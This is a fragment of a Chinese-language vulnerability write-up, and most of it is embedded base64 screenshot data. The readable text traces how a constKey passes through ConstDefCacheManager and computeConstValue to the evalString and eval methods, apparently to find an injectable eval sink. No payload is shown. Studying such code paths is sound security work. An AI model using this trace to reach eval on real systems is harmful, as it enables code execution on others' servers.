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
|
|||
|
|
<p blockindex=13>继续以<code>constKey</code>作为参数调用了<code>ConstDefCacheManager.getInstance().getConstDefValue(constKey)</code></p>
|
|||
|
|
<p blockindex=14><img src="data:image/png;base64,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
|
|||
|
|
<p blockindex=15>该方法首先会通过<code>constkey</code>作为参数在<code>this.cacheMap</code>中获取<code>ConstDef</code>对象,<code>this.cacheMap</code>中保存的为之前插入的<code>ConstDef</code>对象。拿到<code>ConstDef</code>对象后,使用<code>ConstDef</code>对象作为参数调用<code>this.computeConstValue(def)</code>方法。</p>
|
|||
|
|
<p blockindex=16><img src=data:image/png;base64,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
|
|||
|
|
<p blockindex=17><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAACXcAAAVPCAYAAAD4ZUtoAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdd3xcd53v/9f3TC8qo94lq1kucY8dx3Gq0wklAcImQNiFhYVlYdnLLrvLZRf2stTsj8vCXQIJSwlZahJKSCO9Oi6J49iyXGVZsnrXNE37/v7QjCRbMyMpliXZ+TwfDz8y0Zw5851TZ873fT5ftXb9hZo0dEYFq6pzMJRKN9mpr9Eheg7vo8N/6mt0zCCztJryAjeWFPPTsTAjncdo6fQRM6ZOM5ftEXOrtroKgMbGxoVtiBBCCCGEEEIIIYQQQgghhBBCCCGEEOcB83y+mTJiDJ88wqHBHPLysslwO7FazBg6SiQcJOAdYaCvmyFfFJIEu4QQQgghhBBCCCGEEEIIIYQQQgghhBDirUJNV7lLiJmSyl1CCCGEEEIIIYQQQgghhBBCCCGEEELMHWOhGyCEEEIIIYQQQgghhBBCCCGEEEIIIYQQYioJdwkhhBBCCCGEEEIIIYQQQgghhBBCCCHEIiThLiGEEEIIIYQQQgghhBBCCCGEEEIIIYRYhCTcJYQQQgghhBBCCCGEEEIIIYQQQgghhBCLkIS7hBBCCCGEEEIIIYQQQgghhBBCCCGEEGIRknCXEEIIIYQQQgghhBBCCCGEEEIIIYQQQixCEu4SQgghhBBCCCGEEEIIIYQQQgghhBBCiEVIwl1CCCGEEEIIIYQQQgghhBBCCCGEEEIIsQhJuEsIIYQQQgghhBBCCCGEEEIIIYQQQgghFiEJdwkhhBBCCCGEEEIIIYQQQgghhBBCCCHEIiThLiGEEEIIIYQQQgghhBBCCCGEEEIIIYRYhCTcJYQQQgghhBBCCCGEEEIIIYQQQgghhBCLkIS7hBBCCCGEEEIIIYQQQgghhBBCCCGEEGIRknCXEEIIIYQQQgghhBBCCCGEEEIIIYQQQixCEu4SQgghhBBCCCGEEEIIIYQQQgghhBBCiEVIwl1CCCGEEEIIIYQQQgghhBBCCCGEEEIIsQhJuEsIIYQQQgghhBBCCCGEEEIIIYQQQgghFiEJdwkhhBBCCCGEEEIIIYQQQgghhBBCCCHEIiThLiGEEEIIIYQQQgghhBBCCCGEEEIIIYRYhCTcJYQQQgghhBBCCCGEEEIIIYQQQgghhBCLkIS7hBBCCCGEEEIIIYQQQgghhBBCCCGEEGIRknCXEEIIIYQQQgghhBBCCCGEEEIIIYQQQixCEu4SQgghhBBCCCGEEEIIIYQQQgghhBBCiEVIwl2LiKEUH8r3UGo1L3RThBBCCCGEEEIIIYQQQgghhBBCCCGEEAtMwl2LyE3ZGWx0O/l4YS4ZJlk1QgghhBBCCCGEEEIIIYQQQgghhBBCvJVJgmiR2OR2cm12BgA5ZjMfK8zFrNQCt0oIIYQQQgghhBBCCCGEEEIIIYQQQgixUGT8v0Wg2mbl9rzspH/7Sc/AArVKCCGEEEKIxU9rE+6KDazbuIH8ngd54Ln2hW6SEEKgl97MBzeYObTneV5rbCekF//NW1obZNRs5aLNG6iuLMOT4cBiNuh94ovc9ZgcW4UQQgghhBBCCCGEWCgS7lpgHrOJj6ao0rXJ7aQjFObxIe8CtEwIIYQQQojFzV52CZfddBPrqz2YlaL/mT8udJOEEGKMo4CKNeuoWnMVl/fuZftDv+KFfd1EF2mFbq0d1LztM9xyWRUOY3G2UQghhBBCCCGEEEKItyoJd80RZVJYsxQmu8JkVYQDmshIjIhfp3yNzTD4eGEumabUo2O+3ZNJVzjK6/7A2Wi2EAJw5Jj4xCoTSx0wMhzl569G2BWQDo1zjXXJ9dzy7muoyDHwn9zBn+79GU1Dsh6FEOJ8pLWV0ss/xrtvuIBsk4r/LUYkHF3gli0+cn4UYoGEQ0QAmzKw5a/h0g810LDjXn5x/ysMxRbfPuhY80FuvrwKh1JoHSPUd4yWk12M+CMMn5AbzoQQQgghhBBCCCGEWEgS7jpDzhKDjFozzhIThmnqBdrQSAxfS5ShAxGioYmgl6EUH8rPpsxqSTv/xHR3doQ5GYrMefuFeKvTWnHVChOrMsb2X1uOmQ/UxNi1L3UwUyw+Wuew8aZ3Ulc4Fpa1VV3O9dt203R/0wK3TAghxFzT2krpts/w/utqsCuF1kF633iCF194gcajvbBIq+IsBDk/CrGA9v2Ib9+5kwsuupqLL24gy2SnYOOH+aDdxE9/9hJDi2iYRq0drNy0Fmc82DWw47v892/24l9EbRRCCCGEEEIIIYQQ4q1Mwl1vkiXDIG+TBWehKe101gwD60qDrKVmBt4IM3hgLKB1U3YGq52OGb1XosLX19t7GInGzrjtQpxt2mzw+evMLFUK7Y3whacitM6yo1WbTfzjdSaWp3mdHo1w52MR9p1hJ+7przaUAs79cJc2sqhcfymrVq2isjgHt9uFKRrEN9RBV/M+Xn/+aZo6fOgZLj9dcCFXbCjHBIRbX+S5N7rO7geYFWNKZ74yUldFFIuPLs7nU5szsADBlg7+a/ebq1ipLXa2XlrKzWtyWFFiJ9dlwghHGOj38sbBPn77RDvPdEtln8nOZNlrVwk//dZS1p9+HNGa8GiYgeEQra19PLm9gwdf9zGywJ3EKiOT226q4KYVWSzJseAyn3ac0CN893/v4K7usXaaVjfw4l8X41aKyP4DXPKtdrzTHDPLrl/PozdnAXDgty/znj/ObfVV7SjmR99uYGO6dvhO8lefbuKF8zDkpLUif+snuS0R7BptZfevfsBjezrGhjqbwWeW86OcH8WZO5PtXjuv5I4vvY8qpdDdj3DX1++nJ8X+plUJV37mX9haYkJrPwfu+2d+s8c3R5/i7FJKE+x6g52/e4N9e7bxjtvfTX2OiexVd/CB9/j54S/3EFg0x+lCsnMSx4YWdj8uwS4xPW3JpaQ8FwuAr5PWzqGZnzu1m8qLtlLuUmjdy5HnXqE7muI4oK3krdxKQ6ENrWMEWnfy+uFeYotm/zk3aVXI0kvXkW9SaD3M8Zefpz04tkydS7aydkkGANH2XWxv6pb2CSGEEEIIIYQQC2zW4S7Dmk3pkgpyHBOhpsHjr9IymP6iio7ZKVnWQIFjhhd6BpvZe3wwzfw0FlcueXnZuF0OrBYzJmKEQ0GCvmH6u3sYCkZRxtxf7HEUGRRutWGyznzehkWRu86KNddgaHuErnCEn/YMnDLNFVkuyq1WAB7oH8J7WpArx2ya93BXbXXVrF+zfPnyGU/b2Ng46/kLMZeU0jyxP8LS1Sbq7QrvcIxfHokyNfJ1bjHyN3HD+29jTYkjHlaLM7vIKqglq6CWug1X0vLUPfzm0Ub8M7kwnr+KTVdswqYU/p2HF1XntVK97PjD76h49zYqPCb8J3fxpycPLHSzxGwU5vHB64pwKMXQi4NvKtxlLy/ma39Vz7aC04LXJiuFJTkUluSwbWsZT/3mDT73xMgi6lBdYHOw7KdQCovdSoHdSkGBm/XryvnQwRN88b+beW5gYcKzOreAb39uOVd5Zh5siRwYYE+smEtMYK7J5iJTO0+k+SqmtYnNdRnx/wmw64Cfc/18sujkXsEN1zeMVZeJ9vDafd/i4caRGVfrkvOjnB/FHJmn7T7jwlvYWDx23I62Pc7Tr3nPyep8gZYn+NXdUW7/5J+xxGXCc+HtXLXnAA8dCi1008ZNLFYv/pGFbIk4VxiecqoqizGUItTWz4muWeybhhtH4n7H4Ai+CCm/MtlKVlNTMHatTPuaOXRUgl1zwu7GkfhaHPUSDAAKtNY4Jt2M6gss0LCsi719QgghhBBCCCHEPJtxuEvHwOYpo7IiD2eS4Qenp+asb0tjIatsCeX5TsynXNAxsDnc2BxuMnNzGW5v5kSXn9gcBrzsuQbFl9tR6Qt2pZRRacYwFNuf8095brXLQfnY9Spe8wfoC0tlEfEWFtW8djxK55QnFMsrDYrmcL8O9Me48+nJvfXn9oVi7VrF2z7y56zJHTtQ6egw3ceP0zc4Qt
|
|||
|
|
<p blockindex=18>在<code>computeConstValue</code>方法中,能看到两处调用<code>evalString</code>和<code>eval</code>方法</p>
|
|||
|
|
<p blockindex=19><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAACccAAARNCAYAAACdLGruAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdd3Rcx3n4/e/sLrYCi957JQiQAKtIsYkiJYqqlEhJVLPlEpc4jo9LEpc4J3mdX+w4ieOSuMRxYsW2bEm2ehdFihQlkWIn2AAShWhEIXpvu/P+gUVfLEASlXo+5+Ccu3tn7869d+7sXcyzz6ily1dqhJhCaSlJAJw9e3Z2KyKEEEIIIYQQQgghhBBCCCGEEEIIIYQYISUlBYDi4uJZrsn0M8x2BYQQQgghhBBCCCGEEEIIIYQQQgghhBBCiKkmwXFCCCGEEEIIIYQQQgghhBBCCCGEEEIIIa47EhwnhBBCCCGEEEIIIYQQQgghhBBCCCGEEOK6I8FxQgghhBBCCCGEEEIIIYQQQgghhBBCCCGuOxIcJ4QQQgghhBBCCCGEEEIIIYQQQgghhBDiuiPBcUIIIYQQQgghhBBCCCGEEEIIIYQQQgghrjsSHCeEEEIIIYQQQgghhBBCCCGEEEIIIYQQ4rpjUto123UQ1ymLxTLbVRBCCDGFDIESUy+EEO5m92xXQQghhBBCCCGEEEIIIYQQYkp8FGJ7ZJRbCCGEEEIIIYQQQgghhBBCCCGEEEIIIcR1R4LjhBBCCCGEEEIIIYQQQgghhBBCCCGEEEJcdyQ4TgghhBBCCCGEEEIIIYQQQgghhBBCCCHEdUeC44QQQgghhBBCCCGEEEIIIYQQQgghhBBCXHckOE4IIYQQQgghhBBCCCGEEEIIIYQQQgghxHXHNNsVEEIIIcTc9/3vf3/E429+95uzVBMhhBBCCCGEEEIIIYQQQgghhBBiciRznBBCCCGEEEIIIYQQQgghhBBCCCGEEEKI644ExwkhhBBCCCGEEEIIIYQQQgghhBBCCCGEuO5IcJwQQgg